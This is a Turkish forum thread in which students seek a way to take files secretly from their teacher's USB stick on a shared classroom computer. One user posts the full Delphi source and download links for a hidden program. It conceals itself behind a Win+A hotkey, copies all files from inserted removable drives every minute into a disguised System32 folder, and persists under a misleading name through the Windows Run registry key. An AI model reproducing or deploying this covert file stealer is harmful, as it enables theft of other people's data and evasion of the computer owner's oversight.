Lütfen yardım arkadaslar-80 kisini isi görülecek

quote:

Orijinalden alıntı: yersever

usb takılan bilgisayara erişim yapabiliyor musunuz yani başına geçip kullanabilir misiniz? sadece 2 dakika için soruyorum

quote:

Orijinalden alıntı: Born2Bekiller

Evet kardeşim. Bilgisayar her daim sınıfta, ve başına gecip kullanabiliyoruz istedigimiz kadar oturabiliriz pc basında ders dışı zamanlarda, zaman problemimiz yok.

Alıntıları Göster

quote:

Orijinalden alıntı: yersever

hımm bu iyi o zaman bu akşama sana bi program yollarım onun sayesinde çalıştığı belli olmadan dosyaları otomatikman bir klasöre kopyalar. ama dikkat et bu herkes için geçerli olacaktır. sadece hoca için değil yani

tabii bir de dosya boyutuna bağlı olarak takılı kalması lazım onuda siz laga luga ile çözün artık

Alıntıları Göster

quote:

Orjinalden alıntı: yersever

hımm bu iyi o zaman bu akşama sana bi program yollarım onun sayesinde çalıştığı belli olmadan dosyaları otomatikman bir klasöre kopyalar. ama dikkat et bu herkes için geçerli olacaktır. sadece hoca için değil yani

tabii bir de dosya boyutuna bağlı olarak takılı kalması lazım onuda siz laga luga ile çözün artık

quote:

Orijinalden alıntı: Guest-2D6B32B7D

quote: Orjinalden alıntı: yersever hımm bu iyi o zaman bu akşama sana bi program yollarım onun sayesinde çalıştığı belli olmadan dosyaları otomatikman bir klasöre kopyalar. ama dikkat et bu herkes için geçerli olacaktır. sadece hoca için değil yani tabii bir de dosya boyutuna bağlı olarak takılı kalması lazım onuda siz laga luga ile çözün artık

bana da yollar misiniz, kodlarida yollarsaniz makbule gecer
merak ettim

Alıntıları Göster

quote:

Orijinalden alıntı: Born2Bekiller

Cok saol bekliyorum kardesim, inan cok makbule gecicek

Alıntıları Göster

quote:

Orijinalden alıntı: yersever

şimdi programı sonunda rapid e yükleyebildim saat 8 den beri uğraşıyorum ama olmadı bende anlamadım gitti.

Şimdi programı çalıştırdığınız anda hemen kendisini gizleyecektir ve dikkat edersen ekranda sağ da sol da saatin yanında hiçbir şey olmayacak. programı göstermek için : Windows Amblemli Tuş + A ( saçma değil mi ama kimsenin aklına gelmiyor böyle bi kısayol ) ile programın ana ekranı açılacaktır. Eşitleme yap ile taşınabilir türdeki aygıtlardan (USB bellek, Kart okuyucu, ...) dosyaların hepsi kopyalanır. Otomatik eşitleme ile her 1 dakika da bir aygıtların içindeki dosyaları kontrol eder ve olmayanları otomatik olarak ekler. Gizle ile tekrardan programı gizleyebilirsin. Açılışta Çalıştır ile Program Windows açılışında otomatik olarak çalışır. Açılışta Çalıştırmayı İptal Et ile de windows başlangıcındaki çalışmayı iptal edebilirsiniz. Çıkış da malumunuz programı kapatır.

Şimdi asıl önemli olan program dosyaları nereye kopyalıyor... Biraz uğraştırmak isterdim ama küfür yemek işime gelmiyor hele de 80 kişi varmış

Program dosyaları otomatikman

C:\Windows\System32\64Bit klasörünün içine kopyalar. Korkma bizim windows farklı klasörde diye onu da geçeriz...


Şimdi sıkıntı şu : bu işten para alırsan valla hakkımı helal etmem bilesin

Normalde kodları vermeyi düşünmüyordum ama incelemek isteyen arkadaş var onun için de kodlar aşağıda

//  FileChecker+ - Yasin Ersever © 2009 
  // 
  //  Bu programın tüm kodlaması Yasin Ersever'e aittir. Kodlar, bu  
   
  açıklayıcı 
  //  ifade ile istenildiği gibi kullanılabilir, çoğaltılabilir yada 
  //  yayınlanabilir. 
  // 
  //  Kodlanmış olan bu programın, para veya türevi bir vasıta ile  
   
  satılması 
  //  yasaktır. 
  // 
  //  Yasin Ersever 
  //  yasinersever@hotmail.com 
   
  unit Unit2; 
   
  interface 
   
  uses 
    Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls,  
   
  Forms, 
    Dialogs, StdCtrls, ExtCtrls,LZExpand, ActnList, Registry; 
   
  type 
    TForm2 = class(TForm) 
      Button1: TButton; 
      Button2: TButton; 
      Button3: TButton; 
      Bevel1: TBevel; 
      Label1: TLabel; 
      Label2: TLabel; 
      ListBox1: TListBox; 
      Button4: TButton; 
      Timer1: TTimer; 
      ActionList1: TActionList; 
      SurucuBul: TAction; 
      ListBox2: TListBox; 
      Timer2: TTimer; 
      Button5: TButton; 
      Button6: TButton; 
      procedure Button4Click(Sender: TObject); 
      procedure FormDestroy(Sender: TObject); 
      procedure FormCreate(Sender: TObject); 
      procedure Timer1Timer(Sender: TObject); 
      procedure Button2Click(Sender: TObject); 
      procedure Button3Click(Sender: TObject); 
      procedure Button1Click(Sender: TObject); 
      procedure FormShow(Sender: TObject); 
      procedure SurucuBulExecute(Sender: TObject); 
      procedure Timer2Timer(Sender: TObject); 
      procedure Button5Click(Sender: TObject); 
      procedure Button6Click(Sender: TObject); 
    private 
      { Private declarations } 
      id1: Integer; 
      procedure WMHotKey(var Msg: TWMHotKey); message WM_HOTKEY; 
    public 
      { Public declarations } 
    end; 
   
  var 
    Form2: TForm2; 
    Esitle : Boolean; 
    Source, Destination : string; 
    S32Klasoru : Array[0..144] of char; 
   
  implementation 
   
  {$R *.dfm} 
   
  procedure SetAutoStart(AppName, AppTitle: string; bRegister: Boolean); 
  const 
    RegKey = '\Software\Microsoft\Windows\CurrentVersion\Run'; 
  var 
    Registry: TRegistry; 
  begin 
    Registry := TRegistry.Create; 
    try 
      Registry.RootKey := HKEY_LOCAL_MACHINE; 
      if Registry.OpenKey(RegKey, False) then 
      begin 
        if bRegister = False then 
          Registry.DeleteValue(AppTitle) 
        else 
          Registry.WriteString(AppTitle, AppName); 
      end; 
    finally 
      Registry.Free; 
    end; 
  end; 
   
  procedure TForm2.WMHotKey(var Msg: TWMHotKey); 
  begin 
    if Msg.HotKey = id1 then 
      Form2.Show; 
  end; 
   
  procedure TForm2.FormShow(Sender: TObject); 
  begin 
  Esitle := True; 
  Source := ''; 
  Destination := 'C:\Windows\System32\64Bit'; 
  end; 
   
   
  procedure FindFiles(StartDir, FileMask: string); 
  var 
    SR: TSearchRec; 
    DirList: TStringList; 
    IsFound: Boolean; 
    i: integer; 
  begin 
    if StartDir[length(StartDir)] <> '\' then 
      StartDir := StartDir + '\'; 
    IsFound := 
      FindFirst(StartDir+FileMask, faAnyFile-faDirectory, SR) = 0; 
    while IsFound do begin 
      Form2.ListBox1.Items.Add(StartDir + SR.Name); 
      IsFound := FindNext(SR) = 0; 
    end; 
    FindClose(SR); 
    DirList := TStringList.Create; 
    IsFound := FindFirst(StartDir+'*.*', faAnyFile, SR) = 0; 
    while IsFound do begin 
      if ((SR.Attr and faDirectory) <> 0) and 
           (SR.Name[1] <> '.') then 
        DirList.Add(StartDir + SR.Name); 
      IsFound := FindNext(SR) = 0; 
    end; 
    FindClose(SR); 
    for i := 0 to DirList.Count-1 do 
      FindFiles(DirList[i], FileMask); 
    DirList.Free; 
  end; 
   
  procedure TForm2.Button1Click(Sender: TObject); 
  var i, a : integer; 
  begin 
  Timer1.Enabled := False; 
  ListBox1.Clear; 
  ListBox2.Clear; 
   
  if not DirectoryExists(Destination) then CreateDir(Destination); 
  SurucuBul.Execute; 
   
  for a := 0 to ListBox2.Items.Count -1 do 
  begin 
  FindFiles(ListBox2.Items[a], '*.*'); 
  end; 
   
  for i := 0 to ListBox1.Count -1 do 
  begin 
      CopyFile(PCHar(ListBox1.Items[i]),PCHar(Destination+'\'+  
   
  ExtractFileName(ListBox1.Items[i])),False); 
  end; 
  Label1.Caption := 'En Son Eşitleme : ' + DateToStr(Date) + ' | ' +  
   
  TimeToStr(Time); 
   
  if Esitle = True then Timer1.Enabled := True; 
  end; 
   
  procedure TForm2.Button3Click(Sender: TObject); 
  begin 
  Form2.Close; 
  end; 
   
  procedure TForm2.Button2Click(Sender: TObject); 
  begin 
  Esitle := not Esitle; 
  if Esitle then 
  begin 
  Label2.Caption := 'Otomatik Eşitleme : Açık'; 
  Timer1.Enabled := True; 
  end 
  else 
  begin 
  Label2.Caption := 'Otomatik Eşitleme : Kapalı'; 
  end; 
   
  end; 
   
  procedure TForm2.Timer1Timer(Sender: TObject); 
  begin 
  Button1.Click; 
  end; 
   
  procedure Delay(ms : longint); 
  var TheTime : LongInt; 
  begin 
     TheTime := GetTickCount + ms; 
     while GetTickCount < TheTime do 
       Application.ProcessMessages; 
  end; 
   
  procedure TForm2.FormCreate(Sender: TObject); 
  const 
    MOD_ALT = 1; 
    MOD_CONTROL = 2; 
    MOD_SHIFT = 4; 
    MOD_WIN = 8; 
    VK_A = 65; 
    VK_R = 82; 
    VK_F4 = 115; 
  begin 
    GetSystemDirectory(S32Klasoru, sizeof(S32Klasoru)); 
    id1 := GlobalAddAtom('Hotkey3'); 
    RegisterHotKey(Handle, id1, MOD_WIN, VK_A); 
  end; 
   
  procedure TForm2.FormDestroy(Sender: TObject); 
  begin 
  UnRegisterHotKey(Handle, id1);  
  end; 
   
  procedure TForm2.Button4Click(Sender: TObject); 
  begin 
  Form2.Hide; 
  end; 
   
  procedure TForm2.SurucuBulExecute(Sender: TObject); 
  var buffer : array[0..500] of char; 
      temp : PChar; 
      typ  : integer; 
  begin 
    ListBox1.Clear; 
    GetLogicalDriveStrings( sizeof( buffer ), buffer ); 
    temp := buffer; 
    while temp[0] <> #0 do 
    begin 
      typ := GetDriveType( temp ); 
      with ListBox2.Items do 
        case typ of 
          DRIVE_REMOVABLE : Add( temp ); 
        end; 
      temp := StrEnd( temp ) + 1; 
    end; 
  end; 
   
  procedure TForm2.Timer2Timer(Sender: TObject); 
  begin 
  Timer2.Enabled := False; 
  Form2.Hide; 
  end; 
   
  procedure TForm2.Button5Click(Sender: TObject); 
  begin 
    if fileexists(PChar(S32Klasoru + '\npopfbn.exe')) then 
    Abort 
    else 
    begin 
    CopyFile(PChar(Application.Exename), (PChar(S32Klasoru +  
   
  '\npopfbn.exe')), True); 
    SetAutoStart(PChar(S32Klasoru + '\npopfbn.exe'), 'System64', True); 
    end; 
  end; 
   
  procedure TForm2.Button6Click(Sender: TObject); 
  begin 
    if not fileexists(PChar(S32Klasoru + '\npopfbn.exe')) then 
    Abort 
    else 
    begin 
    DeleteFile(PChar(S32Klasoru + '\npopfbn.exe')); 
    SetAutoStart(PChar(S32Klasoru + '\npopfbn.exe'), 'System64', False); 
    End; 
  end; 
   
  end. 
  

Programı indirmek için (rapid'e yüklü *** ları r-apidshare yap)
http://rapidshare.com/files/209653001/FileChecker.rar

Alıntıları Göster

quote:

Orijinalden alıntı: Born2Bekiller

Yersever gerçekten çok teşekür ediyorum. Hocanın anlatıgı ders ile ilgili cok az turkce kaynak var, bu gercekten cok isimizi gorcek, haftaya pazartesi dersi var hocanın.sonucları sana acıklarım. Adam bası 20 milyon alıyorum herkesten( 10 milyonunu sana yollarım) Para mara aldıgım yok tabiki de saka

Alıntıları Göster

quote:

Orijinalden alıntı: Born2Bekiller

Yersever gerçekten çok teşekür ediyorum. Hocanın anlatıgı ders ile ilgili cok az turkce kaynak var, bu gercekten cok isimizi gorcek, haftaya pazartesi dersi var hocanın.sonucları sana acıklarım. Adam bası 20 milyon alıyorum herkesten( 10 milyonunu sana yollarım) Para mara aldıgım yok tabiki de saka

Alıntıları Göster

quote:

Orjinalden alıntı: Born2Bekiller

Yersever gerçekten çok teşekür ediyorum. Hocanın anlatıgı ders ile ilgili cok az turkce kaynak var, bu gercekten cok isimizi gorcek, haftaya pazartesi dersi var hocanın.sonucları sana acıklarım. Adam bası 20 milyon alıyorum herkesten( 10 milyonunu sana yollarım) Para mara aldıgım yok tabiki de saka

quote:

Orijinalden alıntı: FM.

quote: Orjinalden alıntı: Born2Bekiller Yersever gerçekten çok teşekür ediyorum. Hocanın anlatıgı ders ile ilgili cok az turkce kaynak var, bu gercekten cok isimizi gorcek, haftaya pazartesi dersi var hocanın.sonucları sana acıklarım. Adam bası 20 milyon alıyorum herkesten( 10 milyonunu sana yollarım) Para mara aldıgım yok tabiki de saka

Ne dersi anlatıyo hoca.Bizede yolla kaynak

Alıntıları Göster

quote:

Orijinalden alıntı: Born2Bekiller

Endokrin anlatıyor, ilgilenirsen yollıyayım

Alıntıları Göster

quote:

Orijinalden alıntı: Born2Bekiller

Endokrin anlatıyor, ilgilenirsen yollıyayım

Alıntıları Göster

quote:

Orjinalden alıntı: Born2Bekiller

Endokrin anlatıyor, ilgilenirsen yollıyayım

quote:

Orijinalden alıntı: OnurJAM

program benim de isime yaradı tesekkürler. ayrıca Açık Kaynak (open source) hareketine katkından dolayı ayrıca da tebrik ederim.

Alıntıları Göster

quote:

Orjinalden alıntı: OnurJAM

program benim de isime yaradı tesekkürler. ayrıca Açık Kaynak (open source) hareketine katkından dolayı ayrıca da tebrik ederim.

quote:

Orijinalden alıntı: yersever

quote: Orjinalden alıntı: OnurJAM program benim de isime yaradı tesekkürler. ayrıca Açık Kaynak (open source) hareketine katkından dolayı ayrıca da tebrik ederim.

öenmli değil işine yaradı ise ne ala

Alıntıları Göster

quote:

Orijinalden alıntı: Mihoku

windows un içindeki bir klasöre değilde belgelerim içinde my music dosyası içine kaydedecek şekilde ayarlayabilirmisin ?

Alıntıları Göster

quote:

Orijinalden alıntı: MoriKalina

sanıyorum şu satırı
Destination := 'C:\Windows\System32\64Bit';
şu şekilde değiştirmen yeterli olur
Destination := 'C:\Documents and Settings\KullaniciAdi\My Documents\My Music';

Alıntıları Göster

quote:

Orijinalden alıntı: yersever

doğru o satırı değiştirmek problemi çözecektir ama bir kaç ayrıntı eklemek lazım;

her bilgisayarda kullanıcı adı değişik olduğu için (hemen hemen) bunu otomatik taraması lazım

neyse ben halledip yollarım yeni versiyonuda ...

Alıntıları Göster

quote:

Orijinalden alıntı: yersever

burada paylaştığım ise dosyaları belgelerim klasörünün içerisine kopyalıyor - rapi-d de yine dosya

http://rapidshare.com/files/211259756/FileChecker.rar

Alıntıları Göster

quote:

Orijinalden alıntı: Mihoku

@yersever çok teşekkür ediyorum.

edit: yalnız kopyalarken floppy(A:) de disk yok hatası çıkıyor 2 kere. iptale basınca kopyalamaya başlıyor.

bir de belgelerimin içine atıyor içindeki my music in içine atabilirse çok daha uygun olur benim için.

Alıntıları Göster